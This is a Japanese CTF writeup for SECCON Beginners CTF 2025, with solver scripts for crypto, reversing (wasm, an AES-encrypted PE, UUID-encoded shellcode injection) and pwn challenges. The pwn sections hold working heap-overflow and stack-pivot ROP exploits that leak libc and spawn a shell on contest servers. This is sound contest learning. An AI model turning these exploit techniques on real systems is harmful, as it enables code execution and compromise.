初めに
SOCの同僚と計2名でSECCON Beginners CTF 2025に参加しました。
自分が解いた問題のWriteupになります。
※ほぼRevとPwnです。
crypto
01-Translator
ECBモードを使っている!これ知ってる!
0と1を16バイトごとの文字に変換できるのでそのまま暗号化を通したところでバイトを1つずつ1/2の確率で復元できる。ECBの各ブロックが同じだったら同じ暗号化を行うことを利用する形である。
from pwn import *
from Crypto.Util.number import long_to_bytes
host = "01-translator.challenges.beginners.seccon.jp"
port = 9999
payload_0 = "A" * 16
payload_1 = "B" * 16
p = remote(host, port, level='error')
p.recvuntil(b"translations for 0> ")
p.sendline(payload_0.encode())
p.recvuntil(b"translations for 1> ")
p.sendline(payload_1.encode())
response_line = p.recvline()
full_ciphertext = response_line.strip().split(b": ")[1].decode()
p.close()
print(f"full ciphertext: {full_ciphertext}")
# フラグの最初のビットは '1' と仮定
enc_1 = full_ciphertext[:32]
print(f"1 block: {enc_1}")
# enc_1 とは異なるブロックを探し、それを '0' のブロック
enc_0 = None
num_blocks = len(full_ciphertext) // 32
for i in range(num_blocks):
block = full_ciphertext[i*32 : (i+1)*32]
if block != enc_1:
enc_0 = block
break
print(f"0 block: {enc_0}")
num_bits = num_blocks - 1 # 最後イラン
recovered_bin = ""
for i in range(num_bits):
block = full_ciphertext[i*32 : (i+1)*32]
if block == enc_0:
recovered_bin += "0"
elif block == enc_1:
recovered_bin += "1"
else:
recovered_bin += "?" # 出てこんはず
print(f"recover: {recovered_bin}")
assert "?" not in recovered_bin, "Oh NO"
flag_int = int(recovered_bin, 2)
flag_bytes = long_to_bytes(flag_int)
flag = flag_bytes.decode()
print("\n" + "="*40)
print(f"flag is here : {flag}")
print("="*40)
上記実行する。


初めて理解しながら解けた暗号問題な気がする。
Elliptic4b
何もわからんかった。楕円曲線怖い。
AIさんが解いてくれた。

reversing
wasm_S_exp
webassemblyさんのアセンブリを読むだけ。
最後の方にあるstirは以下の動作をしている。
def stir(x):
return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)
それ以外はこの関数を呼び出している感じ。メモリマップをこの返り値から求めてbyteを並び替えてるといった動作ポイ。
以下で再現するだけ。
def stir(x):
return 1024 + ((23 + 37 * (x ^ 0x5a5a)) % 101)
checks = [
(0x7b, 38),
(0x67, 20),
(0x5f, 46),
(0x21, 3),
(0x63, 18),
(0x6e, 119),
(0x5f, 51),
(0x79, 59),
(0x34, 9),
(0x57, 4),
(0x35, 37),
(0x33, 12),
(0x62, 111),
(0x63, 45),
(0x7d, 97),
(0x30, 54),
(0x74, 112),
(0x31, 106),
(0x66, 43),
(0x34, 17),
(0x34, 98),
(0x54, 120),
(0x5f, 25),
(0x6c, 127),
(0x41, 26),
]
reconstructed = {stir(k): chr(v) for v, k in checks}
flag = ''.join(reconstructed[k] for k in sorted(reconstructed))
print(f"sorted flag: {flag}")
MAFC
PEの実行ファイルとエンコードされたフラグが渡されます。
とりあえずDiEで実行ファイルを表層解析。

特段気になることはなし、難読化もあまりされてなさそうだった。
無難にデコンパイラで確認しましょうか


main関数にすべてが詰まってそう。
ThisIsTheEncryptKeyのSHA256の先頭32バイトをKeyとしてAES-CBCやってるだけっぽい。IVはIVCanObfuscationぽい。これをCyberCefに突っ込む。
ただIVはIVCanObfuscationをUTF8でただ突っ込んでも上手くいかなかったので適当にBP取ってデバックしてみた。

\x00が入るポイ。修正した結果が以下だ。

code_injection
なんかVirtualAllocでメモリ確保してシェルコードをUUID書いてる.\sh.txtから突っ込んでEnumSystemLocalesAで実行していくように見えます。
この難読化珍しいけどMaldevとかで見ますね。

適当に以下のようにps1を編集してメモリ上のシェルコードをoutput.binで確保します。


わぁ...シェルコードだぁ...
BlobRunnerで簡易に実行します。
お知らせされるアドレスにBPを張って実行させます。
そんなにデカくないので適当に動的解析していきます。
最初に色々と比較している命令達にぶち当たるので比較対象のメモリアドレスをDump2に入れて確認します。
環境変数ぽいですね。何かDEV環境かとか確認する用でしょうか?
そのままだとreturnする所まで処理が飛ぶので面倒だなー。
フラグ処理部分ではないし、面倒なので無理矢理突破させます。

条件分岐パッチしてやりました。
暫くすると以下の処理に当たります。

フラグ処理ぶぶんですね 。[rsp+50]がXORkey、[rdx+rcx+8]には難読化されているフラグがあります。
rcxがカウンタ部分でrdxはStackを指してます。となると復号に必要な情報はStackにこの時点で入ってそうなので適当に見てみます。

あったわ。この値は以下のような命令でハードコードされている。変わってくるのはKeyだろう。
と言ってもここまで情報出揃っていればいくらか回してればKeyをGuess出来た。
#テキトーに書いてるので許して
mov rdx, 0x123456789
mov [rsp+10], rdx
ではこの処理を再現するソルバーを書く。なるべくアセンブリの形に寄せたので何となくアセンブリとの対応関係を理解してみてほしい。
from pwn import *
stack = [
0x6B09591014035908,
0x681C13044E56721F,
0x2A087D454E564005,
0x52134041503A405B,
]
key = 0x586E227220652D6B
for rcx in range(4):
r9 = key
r9 ^= stack[rcx]
r9 &= 0xFFFFFFFFFFFFFFFF
stack[rcx] = r9
plain_bytes = b''.join([p64(x) for x in stack])
print(f"Flag: {plain_bytes}")
解けた後に環境変数にCTF4B=1を追加すればいいことに気付いた。0x540043を比較してる時点でC, Tと気づくべきだった。まだまだ初心者だ。
(フラグに関するどういう処理をしているかわからなかったので、あまり環境変数には注目してなかったという言い訳。)
pwnable
pet_name
pet_sound
Tagetまでheap BOFさせるだけでいい。
sizeを崩すのはなんか気が引けたので律儀に値を取ってる。
winすべきアドレスは表示されていたことに気付かずに、相対アドレスを計算してました。
from pwn import *
import time
binfile = './chall'
rhost = 'pet-sound.challenges.beginners.seccon.jp'
rport = 9090
elf = ELF(binfile)
context.binary = elf
libc = elf.libc
def conn():
if args.REMOTE:
p = remote(rhost, rport)
else:
p = process(elf.path)
return p
p = conn()
p.recvuntil(b'<-- pet_A->sound')
p.recvuntil(b': ')
p.recvuntil(b': ')
p.recvuntil(b': ')
p.recvuntil(b': ')
size = int(p.recvline()[:-1] ,16)
p.recvuntil(b': ')
target = int(p.recvuntil(b' <')[:-2], 16)
win = target - 0x140
payload = b'A' * 0x20
payload += pack(size)
payload += pack(win)
p.sendafter(b'Input a new cry for Pet A >', payload)
p.interactive()
pivot4b
readでの入力が0x40しかないのが辛い。message:でStackのaddressが分かるので、leave; ret;を用いてstackを偽装する。
leave ret
このチャレンジでも利用したテクニックだ。
leave命令は以下のようにmov rsp, rbpとpop rbpを同時に行う命令である。
mov rsp, rbp
pop rbp
なのでleave命令が走る前にrbpを任意の値にできるのであれば好きな位置からStackを構成できる。
よってReturnアドレスの位置をrspの変更によって好きにできる。
このバイナリでは以下のようにRIP制御するアドレスに到達する前にleave命令が入るのでpop rbpによってRIPを取る直前のaddressがrbpに差し込まれる。


上記だと0x7fff89597938が入った。

続いてleave命令が入ると、0x7fff89597938がrspに入り、その後pop rbpが走るので0x7fff89597938の中身がrbpに入る。上記のようにrspが0x8バイト進んで0x7fff89597940となる。
Exploit
上記の0x7fff89597938などの最初にrbpへ突っ込んでいた値をmessage:でリークされていた値などにすると、stackの位置を入力したアドレスにすることができる。
これによってReturnアドレスを上書きするために埋めていた、意味のないByte入力を意味のあるROPchainにすることができる!
方針としては以下の感じ。
- GOTリークからlibcアドレスリーク
- もう一度readさせる位置へRIPを向ける
- リークしたアドレスから
/bin/shの位置を計算する -
pop rbpを利用して再度Stack偽装する -
systemでシェルを起動させる
こんな感じで行けました。
(追記: Stackにb'/bin/sh\x00'積めばよかったのに、ややこしいことをしおって。)
from pwn import *
import time
binfile = './chall_patched'
libcfile = 'libc.so.6'
rhost = 'pivot4b.challenges.beginners.seccon.jp'
rport = 12300
gdb_script = '''
b main
b *0x0000000000401207
b *0x4011ec
'''
elf = ELF(binfile)
context.binary = elf
libc = elf.libc
def conn():
if args.REMOTE:
p = remote(rhost, rport)
elif args.GDB:
p = process(elf.path)
gdb.attach(p, gdbscript=gdb_script)
else:
p = process(elf.path)
return p
p = conn()
p.recvuntil(b"Here's the pointer to message: ")
stack_leak = int(p.recvline()[:-1] ,16)
print('stack_leak: ', hex(stack_leak))
stack_base = stack_leak - 0x1fc30
pop_rdi = 0x000000000040117a
pop_rdp = 0x000000000040115d
ret = 0x000000000040101a
leav_ret = 0x0000000000401211
payload = b'Hi' + b'\x00' * 6
payload += pack(stack_leak + 0x30)
payload += pack(pop_rdi)
payload += pack(elf.got['puts'])
payload += pack(elf.sym['puts'])
payload += pack(0x00000000004011db)
payload += pack(stack_leak+0x8)
payload += pack(leav_ret)
print(hex(len(payload)))
assert len(payload) <= 0x40, 'Too long payload'
# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)
p.sendafter(b'> ', payload)
p.recvuntil(b'Message: ')
p.recvuntil(b'\n')
puts = unpack(p.recv(6).ljust(8, b'\x00'))
print('put: ', hex(puts))
libc.address = puts - 0x80e50
print('libcadd: ', hex(libc.address))
binsh = next(libc.search(b'/bin/sh\x00'))
time.sleep(0.5)
payload = b'Hi' + b'\x00' * 6
payload += pack(stack_leak + 0x30)
payload += pack(pop_rdi)
payload += pack(binsh)
payload += pack(elf.sym['system'])
payload += pack(pop_rdp)
payload += pack(stack_leak+0x8)
payload += pack(leav_ret)
print(hex(len(payload)))
assert len(payload) <= 0x40, 'Too long payload'
p.sendline(payload)
p.interactive()
最後に
RevがWindowsバイナリ多めのリアリティある感じで面白かったですね。
後はpivot4b++と心中しました。何もわからんでした。まだまだ初心者なようで、精進します。
最後に運営の皆さんありがとうございました。
良い休日になりました!







